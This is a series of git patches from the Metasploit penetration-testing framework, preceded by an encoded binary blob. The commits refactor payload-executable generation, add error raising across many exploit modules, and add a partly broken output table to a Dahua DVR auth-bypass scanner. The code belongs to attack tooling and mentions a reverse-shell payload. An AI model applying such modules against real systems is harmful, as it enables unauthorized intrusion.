zsAUJ$2-t!o2RE@hNI7xO+llZ<CJ?IxxMC(1!>yoa(6z~GWG3wp<kM2Fz4tV6LNy8P z2QB7~Q~Q|8U@Q2T=!hIt?iLOvTVgAjPee0JCA%p5BD@c8hOaAHh&QqAsD`A-HP)Xm z(XsXE{*aQo#vB26&_@JA@o9Vv-U+c!GSl$}SsF3}|Ajrx{4AY{%RC#n3Uq<wFQuMK z6MR5>deZ3UqBUr&NDZ79+zw0$v}20d&Fl=QooBsx7Ih)ej14eJn(L_BF^+n|WhmPb zSKW|%H}QekN}VHqv+{?-6b26pWkQd!8RRzSXgo%;hqy#+@w{bk2!w$+xB@;5*yMGC zlYM_kD&bK;bJWWwi0(tjsRRD|eDuIvvJq*=<_o>dR9_-KPg;l`fOc_LnQ4^C$+`C8 zpx_V?hEIon3PS97!bJq&JUADHzybXF^A?wdyOFDoLP@r-1Z^!9GS?LsJ(GyFTs(e@ z+A4?@UH44!#lt-%#iIAJRm5|_21O#sP-vhQv`ui(uO`h@Eqn*m0{s)3!zHsz1rFNm ze;h2MuhU25@5oJ%7Vj32&@;isq*?S6kicHVm52iF2=4>8F+a0f{`}uIEF1^D1F%G3 zns_NNIIxUnNf$B_HiK(r`S=?e#sJogk+S2moxHzgI}8ZSXg($M^%tnYTxU?)AHF7} z;62y{dIma)=tiw#S>`QX8=gy_1(!le*kQa-_>e!}wwi#*%k*wIK=<G#bELQdnZjzk zzX%7ZRq#wEjlP1tgCzutJRl+VCcHm5RJ@)(>CF$c#4j@^d<Kvp7Rwq?jhGg}2!y34 z;8W>4fg6&sbS6B8bW=)}!e$|xAyU&B&m<o?Q~a~BPS6HKD{d<<Ms6?yw$K*?B#D;5 z*RjjkW@Hc33{Dr|80TD8^BZW9&h-p(EhPuSyXe7~KyshU!-mNU*~Rb(|1nJLzZVz; zydb35ar8Y#1m583Oa|OQa9I?I%dn09E9^LSrhgyxI}?Gwq7Sebv_@D&1O>0az3i{D zGp@*>%T@(gsTV#A+uu6}xZq9owFMH1yZ8q_zULmHfwroyP;UZ%bDe3(H6|E}j-lGq z%h5^Vx4t=8HxR42M3!;ugtvlc*=)L<&&|XtT2U%y0eT!<gyuQN1QtTA9DAIjf@Sv9 z;6YRysAAS5TdB`P5BfCTS~5dC9HgK&#Bf0d5QYtcXJg{vIKI7Vqx0~+$WNZfbhaSM zKN!Jazo(tA8L|vJ=RhzO3&9%4u;59?X&s3C4O|EmdOP`G$nKr)T>vdsZex4Weqt>c zLwE7MqdnvzpdqQZZ-gGf*ZHIGM|@YQhP20ffgM0^6s91LUC#p}`~om3_#rsnF~~Cl z_j41Gq2LxW$$uf}@?T?K1#W<5LW0(!?&3b~s(**qLeC>YF*%s-A3`j1<GkNnh#g`2 z1h#=&y}u&~&>n0d@zHxaI38~1J?cIKJwT?wp~3pZOLzcy)u*s6voNmqWCU~=d<J9S zFGxAL*1rI33EmDa=i1;I!pU46CKb04;m9ZIGQwJRp;Bfzc*TDOy5(KtszfGZFQ6>w z4YURtgv_R1viE$Oyyu`~_$R@AX0Gq4#{z$WS0kIKQE)4!oY0{gVbGI>4Trl?`|-=< z9dr<CWG@6R1ZZzO9qp=dyU7>mWbYJjHk3$Aq9TL8;S1>$ftLT9fEC0=qyQ^(w}Cgn zS9lL2OWK%Ps*hx*_Xdau+rXo|y}|d`W~z<96Zl&48XE6syq-WeA^`UEsp$peXf_on zAQ1mrZ~~l#-Q>@xrlS4$-NLcKzJirhAMg^^5?%`=BCDZvcr><#KgawSHS_0u_XUm4 zy|_W}lo*Fx=U4C^?^CFyay#k`o(&#g-=R04#<UQk@lM1ub}eRvp209WfS=`#00YQd zyvBbWx&ut1zXY6276h4O#+6kIz*heDfx*lc!3yy;mX@cI9mLJWkqm-Ln30kUVG;h^ zOZu~Eo$xt#gSd=-rZxi|1uy9v{Fzjk{s|}{XCRrrBh+24JXlFMxUuLS=w~=dXlJ^U zHOy5e$fna~qOPJbn?W_CCbLD{Z9ytMnhjUZ)>tI@R0D*h=ZbgIVm2F)l12idx&ils zgOMTBenCCq5Yi`&5-9{{18S~P&<NNqd`l$B?{GIHGlQp)xx)X`!Fhm1aeZxkW|m?} zY}f^{Hw?xu#$fL~7F29lf*mv@*h}mhC3cO*-g`He*su#K7Ep}R7j~!KnYq);cmChQ zvpmBvduMj`-ZST(`@TP)v&Af{&o}=J4kTxrTLR|jp>BpV(9!i2IovU**3<#qG~lXs z4*x{tQF-JPPpbA%sTTaLb<R9(w$do2m;IxhfupTxwUg18tZ1(`o7k_lMxHW|oj=e& zYeUE##!Fl?U{3H*WNF91H9p@tr#EpcXb+@m*2=P>rM4Ma{3m&<9P9KiJ<*LvH*p!y zVojBvXxGVqtPAc{^EThp>91W!_wi1BC^?DTVzKIXE@5xAMpL|;RQgN6J+mg!(@nCy z%5rMG^CvDg610_CoVZ)-O(Zg2F+S)LzAF6y_=9(H6z*b<*Ei~|%$K4p?>D9fpE4V= z8_hq}*#UXx1F$PUHN4gu#StXvQ?bf@tE)ChoGg~d(efkffWxr+^s?3!U!vB={whxk zT&863>!m5ear?R1NFQN#37FtMQ#)FFrT6d^Us58Se50jSSK5JWr#F5eozX+Jc&D7O zSXt`c0tiPXy_Ix;dPT;8_H3__BpqduC7HLK*+i;dmI!g?%RD;;xEBY_qegvwi4kV^ z1i$!N>!Z5aYHy5E1Mpa}zdO^Mq3%*6%x7F>Ip2P0#i@6-j~-;GxQsT8NC=A21tZYB zuG?m^+FLFX-kY!N-g>&#Mw@0#Hda_S%$m-(?s(ip|D-O!?}{V&Y^}TePFjxNNt=|G zW)Lnf73pbK9e0wlPT%Mp*S^E!%y;CA;4$P(E!5=6!(_UZMtt(5xeLsv+B)U6HdwB$ zMmQ6cdunCHC%hBFv`i~kYj4KjUG8$DzhYY}P1igL<bV~nBW_YO{e!guv;jTL!Oj54 z)g!D>b0$%TOwe~4N6j|cIJ_6!$XQl`v0C7n6#F^ZU5~Q&k+VEKskX*uvths>_b+*# z^?|%cJho|#C;EB*^enM|hSkQC&H}QfJ&{~PJTN<|bJT@;g89Y1XEsvz$)q{Ut?!(5 zZjti?Mv~K=zp3fL9|Bj9<EU-apkRrNA~w6>ft$#d#+ZO<6lFItYT$X+7-FvZS#6-k zYo(Qy)*5$@5oUaEp0JM^v#cXdiZK~q)K_~Nc?P+^y1B$%A_G){AN5*l9VtmTt7vkv z(Fb=E1GOA9Lk_p&K{Zff{h`IE-JL<^E#WjShcy(crklgHM6;E37&FE}wU5|M>u)U3 zqqKGAD3}#3;1|m;r8+_*E<#)<50_7gnqJlIOtjN)NvD**EL|TauaJfSvtXdoSU(P& zg#(bg#c3DS$=Xvr8!yMv$_Xt+o?&cNyNGAekL)4HgPNgn+(FKflEhhJCA3#gSHIE! zR(46VVU_5eTuFST+|!l_&tWC=jW|e_^ax{-@z&^~wlp3a9<`0ML%t45h#F#TZV=s( zYs{KH-hYIN<|M8*^U%MOdCT<>Zz5V8h);m0{GR0F!_i>1f&Q2H2RQk@iq+9#6piZ} zJJkwurk<dOsPB}0O0rf<prpq_Tf|F0q683dzGE%nuK1k4B==P`DMb#I!?j(?8QfX! zCe~G-sdaG`JX*P={HENOGtoxr8LTRm5`Pz4$!+mac`kUx8=(W-D`r0Xj7ec$ar4n! zb^}+3yUv_t|6?P?x;S23E9apQaS}ShC5e~iig<&x9tZ@9A|s`Uaoi3rOQ855ZY;l) znaiE$zUP9tY)<A5u?>VeLK2h2ZQ>tt3x%t~IG*N%`IhVrx)uA0oxznt|A3!Am5)H> z#X_mFLdY$pK`2=qEv1R$#p5Vhh~~b6kMtKVj8*)mzZLzJ-O5(vuCu?;nd~d>2D_5$ z#|>uZL#2AP&_#I8U*Tg>94Z#8$~~lfiIX0}_c=|xA)W!pTqckPKBB(d9qt;pirdJ) z<Ikb9Xgj|f@G#5x2>v72U+@S!goeU!P8AOGyZL>>3-lJXM>SD-U;;?!FerIeOSdHx zhyi<rqe2C-ytox*@g0N@TrOV)ybLa=y#C`?@}q<#fkdkXLTn<g6$Ds$djm=nl}lyo zgVu!P=dnlGT70Z<LfFsgurGtX%pT@;b3?dKTzhT_oll3-rPv4TCGIY}gk8(sWSjAW zgkj=m6eewe?_K3va4g$`{snyXt9&UwRI=Om7k!*gV-mn`xmEbgZxniia^ouMgDid< zpA8kLSVr+<e|`Tb{|BhxLl(|lWHH>gcpwF=mYRU;=d?6O`c14a_T(pUFCg<O&*uAC z|4sijzv4emw_vKUQS1h`IzLW`g8P=mALUPjdxPXga2$J#slaTf6a0_B|M{f&eeoIi zi7C$TmVol4sEG2G_1fSGk1fnA@D!#L{!qvl{FOf^|9<|^g3tNGVPE}%JNZ2dG7C-> zL>7E4C{=*+78D%IM|pvH7jwJkmdSgTTPwFqt|#|U&XBKba)y8t{Ce)D+*`SOa^L08 z%zv1dSTLhtM8S|kqu@Xxc<77n79A~G>#bjWp(FtOYx9aH`mXuP`wB}&`7GZz{we-= z-+f<#pZ0C@|3Xh<eq%D(N!&fIns8dUhHUYmbXNQ-wiS=Ty<RWm!-`6fu!|3YmDa{w z7f=pO0D{CRKAmp{ya@&UBN|eF`My*^3KTK)-g#0JP?Qdp21_I5#!4?`g)&Ro2Aa~Z zS{uEUR!=zrqbAN*(~I*xIgLM;%Iy2L?3=XLQ5jao`FEQ?%=q{iJmd-9@902bqBIQ; z*JwQy^e&7k=)qcLrIYkt=)*<AD(-07@ZX|)(>rN{zQA1I_oD4$5BY-JR=z7mNoB>> zLJ3!n9ZuKr*Dkr?-B8%JFs{&FSgyz{DqZq-$*=w(R^b0dNW3EL!13yAwV8SbKasbK zhlBzADK>^t{Q-Wj?}=}i?~re+|9ko-9n0)y`}5C)!*D;=@(20tY&Rx{9_U}|%P8LG ztyHw7@VCO^!uH;4-kjp4K9~NMi{m?^u`oXvjX&ZnSdYFe_k%2;j<AFE(~JDcB_oSB zc>nV@_bx1YQFPwxEgoGm$Jfy>`m_B}v_^Au876^V;P2!g;Y%v{xnyWbr{XlP=)F_C zyrj7=!q?pY)bH~rLl135kD(*zPri}9#=ex2N8a&8J&JO`6SpZpF@Hbwp<a1U^TfRU z`C$cezOP_M!H}Z7qR!s;-m_l1_+p9TtLjhn-=?$uqnH!SRZzoZ!Dk%^BPNV40Z(5U z{}ta^-=8JnCB2K2z2V-MMHRhyMQTxD(G_T?op+ztC=MwRU=-H$htSjMi%cxjj=90y zWPjyKbLs33b_%zdTL#f#Dc=+LCa;BXv6<wRCn_IRLZ7Dps$bDV%^JWF(Lmc5Y5im- z7$ZQx*c=!+Icf}WU?$?`_?f&#-X~{Dmn2up5o4w5(j>8#)C+3dU4fnQo3L335Dsz8 zIEPIJ=EeeA^>?Db@u&J6|1SS8{>J`geu~~sC(=5tFzs1^DP*&_v;6lcPe?-vA}dam zLLmZdmcoHq^HFLcH<fhpt+)!^LZ5`kd^>&tH-_s6D}B3}hD;y!4inE-=2mmD5J?Ge z@PxwquFAV`1EsOjR%wC{$}{Ckpt`&%dc-w|LNP*!u$8aE&*nSux1lzCfD7Tf@MZYM z&~ir}aiyXC?i}I{ai_VaoXP&qc4YUl5}VI1<kmvW?jS7YFT+#jA-|K~#Mk80xDVWM zt{qp8o5|(Eksa8_a8-+#CZO|c4_bg@ObGjg*~5Ozon*tfY_>AHm-&Ht!|Y-9GG68+ zvzj?WKcg!#X><+d6kU<I1#76OFpf5{&zU()8zu%gAbxr<9naim#xYfyT1<I%06URg z%zndlhM2d4yTG>OE^=Njihs`U5?ua;Pz~t<13Ia);(BqBI83BbLorhn#4yMsT7tIy z96Z(gqgJAY%E1x)!~s&6)LObO9hKsx6Tq5L#2D!au!8PNpQSp$2`UZx4@RnlSAnOY zAI9=jyi)EaFOb7wB(=pou_>>_Yn1)U3}uRPOR25qD#=Pa<poflRs*BR#TbJsM!AS9 zDo>RVr3KEBN6LfcY-z02TskP_!P!Zv0puauKs)jW`ivfn-$<RLAEYNzu6z)G#?QeK zl&batvQ>$;6^K=lnhd<G+sa;LyJF)l@*$~2lBIHzN9qY0$>#D3`HH+455V{F05ws& z1H>jTkY~p0mvvS@tS9Q<06S}+9<28VomVBT4zyMt$X7@7%En%(Zf1gFYo3*3HMDEm z%j{kDF;M?yfwt?M{Q}fp=dDbuhgH{_YZY08oQ_TiaL8(sd&!$*Ln@L&)LG9Q&tvic zaL`EdgImUla0a{GoM?L-P>ZfR=iN}^4zU>&`+EYG2KEd-8Jr317H_GW!Fz*=(jQAr z2+j`N5x5{IHYmgM8?<sAXmeHV7G_tN39Z(KE7frbM)D<TqF92e%GL2){1R6I2TY{# z&KPE{vkp7c!4I&J7((?8xD>F>bA&oZwezG>1;hcjiF?TTXfL(ag5LXx`LluGGq==> z^(=j*UZ`go>&)-XB;%FQ-^@138v%MP;DBw^5<t5oD8qoI^{=`V_Jrs|^tC`9d#vXf z5A|94T;r+ni_t(|qMZVg*Z?(3X$HC8Dy&Kc;(akp>?A%xwNYopp<Uv9@wPY)l;<t+ zSs0^{_%;qxF5@0}1$e$T%gLb8n<_b=dsTpcl#W)Q-_U!Mfrg6{L`uvBhhAqfLyQuu zLMsX42l0qFMyw!iKu^$mbRGqvdqM=npGedOIYM((MZAZqph}<#^oS2p9kCg-@E%o0 zPlN%eBV5yVsE!Ok1}ck22y=u_KzzC^d=w4|xk83e6ZW1IVBHS#r+UIf*t<`d3Q;Xg zC=V>81^f|yBCwwp0uib*Ux^>ZHR2C)D)WI&WfwqX>&bR!)0uZn2GfPx%D3fTau0-x z5(^B2Z={c)<9#DWiYH;z888a>KvvXQ*vOmg8PGe<=hC?u+))0gFd2;o?P9JJ0gCM? zB~9s~9sz<`dG#+fRAYcNw+R?z)74$L8$N(D@l1K0I7KWGW5jfU5eAE|LH}4uOcz(n zdvFsx51)eZGhMBqWa2fj)^<uwRL<frN+qp^8i{SWp*mEprL4f|_`aH=ZB+@Fz24E% zv|ieB&Cp%Fx&8z=a-(3>_(5|UW1KPO>g}{(?O**2aJzbfYP`0YWsWf0n~$v%_5k~k z9R!u{ZQ$e7th3f2+iw+{oy|vP4J+I{VGJ=ZSoQ3B_K)^I&K~zE5CLO=`*)If3{1fl zL^2@))o&3|mfS(qCE5V3u^h397!1tDy>2|v2$S4h&UB}-6YunPeg~f@Z)e*ZL4!Zi z{%ZNm80(gG0mg1^YZB-uM_V1N)z%j))(!wpRFZww{$j7QFW8^#0{aE%G=uEhpbh_M zU$=|x>Q07@?MC1Oh;oYTLTiHkryXj2Yn=cU-V)=2vEJxo5Jn-?(AVl^ji14d_NS3! zM4KJV0p@kn0O{Q`^Q38kw#$VGQ`Kl`EQR<oL%#r#=84u)8>J;`aoQm85u5~8Uu)pU zUC@u|+oAT+2xe@>#$mJA=xb~=IvZE@u6kd6mHv~yO{=a|1!~_qU<yvwboI9S1~g=| zwDUmWtDz@rbzvlK(2})oS}PzAP6k$7jJi|lq};=Y@L`xw#^dd{BT)42D2rj<-x}D5 z$HB?aUJunf=s|j%zD=JET)HdZZ}<TIniuLPH35ir4}d7PTOVp%hImpNxJ(OeWbbyW zyRBUdl+NRwY0i(J4!j4N=o0Ikm2V~5Hy}m^gJbt^=YaFY*$mXpFTmv-M`*-kavHgY ztU?u#J;@9rkemt{<St|%GM&6cjv;>{EznF~BM*V@a++tDr>&>H=e%b|z*<i|>Tjxf zz!%RaIL1eP@~i;We{X84=eg$tWs&7Pdjh%#eCOdkMS=eW>4E(NX9Qgg9v(b4@IJUk zehkX=%p)VITxu`5$IW({x|7{HPAo+3Q}$hZp|#DtWO<x()={&c^$L1Jq%{#fr)%{v zd+AFxtRwvg^$1Q>)~NNB5P6b34>ZuNq55)Au7(HW>bOvTi*uA!;N=L#f8Z9%4!IpX z8#@4P?0{HJd?ETFQ~3<D%%j47L4zkU3$G_!SMEOd5BDCjjj`MWE|vQkW{ej&1GZAx z{%j6=o=t&F;BV#+rY^IP?m-7IHe}U*`&-bVOc<z{PQvV94bz3ev`aT+rZEJQL^om5 zn8&bHk%@yWL8pV6zDy-%1iUWM2k8Pj8XN~xnH=UnrkMExT(&H58#Lz{aYwjYTruzi z#=<;8;p*{?_#l`W-{U6pB7cbgo^Q!t<RgWF!V@7HtwCX;AL8(4^cdAbUIC$6;(at0 zaxoL-qI2jj`V}&ZG_jQQNSZ8ja%qU=af$}4MnSo*_Jm&h8JwIQfwoC%m!a0PTwSCN z0cK-_It;cutB$f5NS%GbA@h^APwS$;)j_>rv@vIzBh9g9BXgLUZjLb>V+>@ZK6AIZ z%dBNhwK`j^tvDF#lwH}LXjgD5I3;#%XTEd8dE_i`S~=UCT~4$U>U;<5LD}{SJJP;r z&#?P|7CRKUf@{EMbl;j{2RoVee!HLZpQAd34((KNtGct{9YdT%=PJ+!3A-y0=HjfK z=4A7MdC4p^A`BMXQqT0BkSSl)3-oh(DP7R2=@)?@Dyt76ZpN#n)p}~Unyze6`YF*$ zCFLtNu!(<%zjrAem6N!P5}~ko6CRF(un2_42zfco(BdH5`B}_FbzzO52{>6cq8!vi z>?4}!0aPVI;GRE6sVE!0LJtu}JerPzp&qau$bpf<JH9F8+=GQ^VJK{G<`46iAvg8% zDjx+r!W7|{FkkpjXo@Zfi-mr|IUyKr5}FFde1IVEH(>twkRQlXKr>v=Z|Bbdr*NC# z6)p-7g;T<Ap%f~Ea)jH$O`$V9VV4Wjgw{Ye!~%utqj_i_lF$-yr+68ZBxj@`@VnlI z8T?#11YeUE$qVI<@OmVB@QnW_RKCR%@nZY{-+`Q^F2t$k%2;K*@>a<PH%Cp#!{%$1 z^*WHH&C(a?DMlId4pd32gFbq@+0on$@it5M>5Gh`hGk4JZ<?L0Y%>Y^$7l1V6=sjN z60H{YaLCyH$BCR|54ES*qwLN$w*In$;h9v|zG~gJTG@B(WbkTDcO2)G8wK><|1ozj z0&`XeQZ7LhxXp+kflT}gh{HGCSU1Yu?>2WoIy2pCZVRB=b|f-^B^*uk0}5~#Vh1sp z+(Hf|e<cH`lT<aTki18xf+qhc?ERT61?q}E<a+W1d6qOuksL#<r<PF~S%$htJ)<^K z=c!xNYw88{mdc^hsB)gJ9u8Fe-5~Par53=k--1hZq$kPK*|Xh~>pAR+_1vTif#I0v zF+6GDqa5dH;&G{^)Fmq1lSEa5cNSBfJXfd)sw&kT_LhP8cbj}d)}ubd6)h(Rktw7X z&fW#yGmYv^HK6jLPP~+CO7<svkx^tT5)swO#$+{8BzPj697v8NH$e-d$$8+F?M{VI zQPgy*4>f?=L%pQ_g)@An+CxpXyQi0DGhE+HPYusZYBu!{t|OZo59dgwey3W&x<w8+ z!x~X_s6dJ%|A6*-ll942WDMDeYyj8wlBCHCWFGm7975hDgQ+ZXBRPYdPfh@TZah3c z+Q6~9$#rBP8Ac8#cfgZl5!ny!`b@a)XtEyJ75>+i#Dq%>AS;kdfI{4wxJr~FUjr+$ z22hNb0v(zHMsYYO)z%YNh_l2N;w51cRY(tc1GbJ4(cp>sfhYt<vJXIrrGT1Um7swy zyx#5VR&&q6n!e?fby>%DK*Hp9ho5M-ty{-UcV2)eV<YsZNav}23v!9sP7BCOVw^fo zh-1RvgPq|{I7E~bJI#)CRQsUa9b!sfdm!W?J0WYCWXIaHwFLYmJ?wD%2Dk>3tjiFc zCRr7&VU}arRyw#rUP2CY&e{(%k43;Z4TOH5Vb%oF=>*8QYJkTu!x#ve_;Jui{s+Gc z^fAUJ<CyWr5R7X^d9$+l!Z>1#H)Q=E{Rr?dhCsy1fXr?=FoLr*5@z>|W<o|0tiJ*} z?IVo`%IzLlvH2JBj1HO#GoxT&9RCJ&-)Bk<l~P|T`AQY2($r83l`=r#rGVf&MvVkQ z?Fcmy*0=Adht=!w8Uvi)`-)Gwp$vzJH%0j!esh?`wUrS{Go`-bQB>?gBq+o!mF~(k zIPSEv6>7`p;Mv+ui3E;p6~(~!@JyKFEW=|Vmr2G`fJvK#8v*HdKSYx4P_wph1?3Gs zjZ>lJTX+c`fiJ=TR$&1*`+xrIOlZ5ZB4ZDnGZYB6Rg_W6GRTLvDed7iZBzdb{iUg6 literal 0 HcmV?d00001 diff --git a/plugins/sounds.rb b/plugins/sounds.rb index 4256f6e479..00ed4962de 100644 --- a/plugins/sounds.rb +++ b/plugins/sounds.rb @@ -51,7 +51,7 @@ class Plugin::EventSounds < Msf::Plugin begin while(true) while(event = self.queue.shift) - path = ::File.join(self.base, self.theme, "#{event}.mp3") + path = ::File.join(self.base, self.theme, "#{event}.wav") if(::File.exists?(path)) Rex::Compat.play_sound(path) else From e574c844de5129ecb7d44d4d8315562470f65fea Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 8 Dec 2015 18:19:30 -0500 Subject: [PATCH 1467/2172] added rex table for channels func, has an issues with TypeError no implicit conversion of String into Integer upon building the table --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 20 ++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index bf7f61b87e..00560611b9 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -184,9 +184,27 @@ class Metasploit3 < Msf::Auxiliary sock.put(CHANNELS) data = sock.get_once.split('&&') disconnect + channels_table = Rex::Ui::Text::Table.new( + 'Header' => 'Dahua Camera Channels', + 'Indent' => '1', + 'Columns' => ['Number', 'Channels'] + ) return unless data.length > 1 print_good("#{peer} -- camera channels:") - data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") } + data.each_with_index do |val, index| + # puts val, index + 1 + # next if index > 1 + number = "#{index}" + channels = "#{val[/([[:print:]]+)/]}" + # number = "#{val[0]}" + # channels = "#{val[1]}" + print_status(" #{number}") + print_status(" #{channels}") + channels_table << ["#{number}".to_i, "#{channels}".to_i] + channels_table.print + # print_status(" #{val[/([[:print:]]+)/]}") + # print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") + end end def grab_users From cea8c404326fc4bc7c75f7f6bdb5fe8f8bb35fbe Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 8 Dec 2015 20:26:07 -0600 Subject: [PATCH 1468/2172] Fix generate_payload_exe for generic payload support Platform can be seen from different sources: 1. From the opts argument. For example: When you are using generate_payload_exe, and you want to set a specific platform. This is the most explicit. So we check first. 2. From the metadata of a payload module. Normally, a payload module should include the platform information, with the exception of some generic payloads. For example: generic/shell_reverse_tcp. This is the most trusted source. 3. From the exploit module's target. 4. From the exploit module's metadata. Architecture shares the same load order. --- lib/msf/core/exploit/exe.rb | 35 +++++++++++++++++++++++++++-------- 1 file changed, 27 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 49f9b72e67..4158970b4c 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -150,14 +150,33 @@ protected :sub_method => datastore['EXE::OldMethod'] }) - # Prefer the target's platform/architecture information, but use - # the module's if no target specific information exists - opts[:platform] ||= payload_instance.platform if self.respond_to? :payload_instance - opts[:platform] ||= target_platform if self.respond_to? :target_platform - opts[:platform] ||= platform if self.respond_to? :platform - opts[:arch] ||= payload_instance.arch if self.respond_to? :payload_instance - opts[:arch] ||= target_arch if self.respond_to? :target_arch - opts[:arch] ||= arch if self.respond_to? :arch + # This part is kind of tricky so we need to explain the logic behind the following load order. + # First off, platform can be seen from different sources: + # + # 1. From the opts argument. For example: When you are using generate_payload_exe, and you want + # to set a specific platform. This is the most explicit. So we check first. + # + # 2. From the metadata of a payload module. Normally, a payload module should include the platform + # information, with the exception of some generic payloads. For example: generic/shell_reverse_tcp. + # This is the most trusted source. + # + # 3. From the exploit module's target. + # + # 4. From the exploit module's metadata. + # + # Architecture shares the same load order. + + unless opts[:platform] + opts[:platform] ||= payload_instance.platform if self.respond_to? :payload_instance + opts[:platform] = target_platform if self.respond_to? :target_platform + opts[:platform] ||= platform if self.respond_to? :platform + end + + unless opts[:arch] + opts[:arch] ||= payload_instance.arch if self.respond_to? :payload_instance + opts[:arch] = target_arch if self.respond_to? :target_arch + opts[:arch] ||= arch if self.respond_to? :arch + end end def exe_post_generation(opts) From 5b27d3a99cc8dfd070cf3f4471f247d8a1c7682e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 8 Dec 2015 20:42:35 -0600 Subject: [PATCH 1469/2172] This looks right --- lib/msf/core/exploit/exe.rb | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 4158970b4c..587848b9e0 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -167,15 +167,23 @@ protected # Architecture shares the same load order. unless opts[:platform] - opts[:platform] ||= payload_instance.platform if self.respond_to? :payload_instance - opts[:platform] = target_platform if self.respond_to? :target_platform - opts[:platform] ||= platform if self.respond_to? :platform + if self.respond_to? :payload_instance + opts[:platform] = payload_instance.platform + elsif self.respond_to? :target_platform + opts[:platform] = target_platform + elsif self.respond_to? :platform + opts[:platform] = platform + end end unless opts[:arch] - opts[:arch] ||= payload_instance.arch if self.respond_to? :payload_instance - opts[:arch] = target_arch if self.respond_to? :target_arch - opts[:arch] ||= arch if self.respond_to? :arch + if self.respond_to? :payload_instance + opts[:arch] = payload_instance.arch + elsif self.respond_to? :target_arch + opts[:arch] = target_arch + elsif self.respond_to? :arch + opts[:arch] = arch + end end end From 11c1eb6c78cb2ed9f2486615d95db7dff508ef65 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 8 Dec 2015 21:13:23 -0600 Subject: [PATCH 1470/2172] Raise Msf::NoCompatiblePayloadError if generate_payload_exe fails Most exploits don't check nil for generate_payload_exe, they just assume they will always have a payload. If the method returns nil, it ends up making debugging more difficult. Instead of checking nil one by one, we just raise. --- lib/msf/core/exploit/exe.rb | 5 ++++ .../freebsd/http/watchguard_cmd_exec.rb | 4 --- .../local/watchguard_fix_corrupt_mail.rb | 3 --- .../linux/antivirus/escan_password_exec.rb | 4 +-- .../exploits/linux/http/efw_chpasswd_exec.rb | 8 ------ .../linux/http/multi_ncc_ping_exec.rb | 4 --- .../local/desktop_privilege_escalation.rb | 3 --- .../browser/java_atomicreferencearray.rb | 9 ++----- .../browser/java_calendar_deserialize.rb | 9 ++----- .../browser/java_verifier_field_access.rb | 9 ++----- .../multi/ftp/pureftpd_bash_env_exec.rb | 6 ----- .../http/apache_mod_cgi_bash_env_exec.rb | 6 ----- .../multi/http/struts_code_exec_parameters.rb | 4 +-- .../unix/http/vmturbo_vmtadmin_exec_noauth.rb | 12 --------- modules/exploits/windows/smb/psexec.rb | 9 ++++--- modules/exploits/windows/smb/smb_relay.rb | 25 +++++++++++-------- 16 files changed, 33 insertions(+), 87 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 587848b9e0..87f8bc912e 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -68,6 +68,11 @@ module Exploit::EXE end exe = Msf::Util::EXE.to_executable(framework, opts[:arch], opts[:platform], pl, opts) + + unless exe + raise Msf::NoCompatiblePayloadError, "Failed to generate an executable payload due to an invalid platform or arch." + end + exe_post_generation(opts) exe end diff --git a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb index 56553b4540..6a352d7bab 100644 --- a/modules/exploits/freebsd/http/watchguard_cmd_exec.rb +++ b/modules/exploits/freebsd/http/watchguard_cmd_exec.rb @@ -95,10 +95,6 @@ class Metasploit4 < Msf::Exploit::Remote # Generate payload @pl = generate_payload_exe - if @pl.nil? - fail_with(Failure::BadConfig, 'Please select a native bsd payload') - end - # Start the server and use primer to trigger fetching and running of the payload begin Timeout.timeout(datastore['HTTPDELAY']) { super } diff --git a/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb index 82ae226b16..aa6f165b1b 100644 --- a/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb +++ b/modules/exploits/freebsd/local/watchguard_fix_corrupt_mail.rb @@ -48,9 +48,6 @@ class Metasploit4 < Msf::Exploit::Local def setup @pl = generate_payload_exe - if @pl.nil? - fail_with(Failure::BadConfig, 'Please select a native bsd payload') - end super end diff --git a/modules/exploits/linux/antivirus/escan_password_exec.rb b/modules/exploits/linux/antivirus/escan_password_exec.rb index 38ad269906..d6236e994b 100644 --- a/modules/exploits/linux/antivirus/escan_password_exec.rb +++ b/modules/exploits/linux/antivirus/escan_password_exec.rb @@ -113,9 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit @pl = generate_payload_exe - if @pl.blank? - fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload") - end + @payload_url = "" if datastore['EXTURL'].blank? diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index 75b9f35be6..dc3a532f2f 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -111,14 +111,6 @@ class Metasploit4 < Msf::Exploit::Remote end def exploit - # Cannot use generic/shell_reverse_tcp inside an elf - # Checking before proceeds - if generate_payload_exe.blank? - fail_with(Failure::BadConfig, - "#{peer} - Failed to store payload inside executable, " + - "please select a native payload") - end - 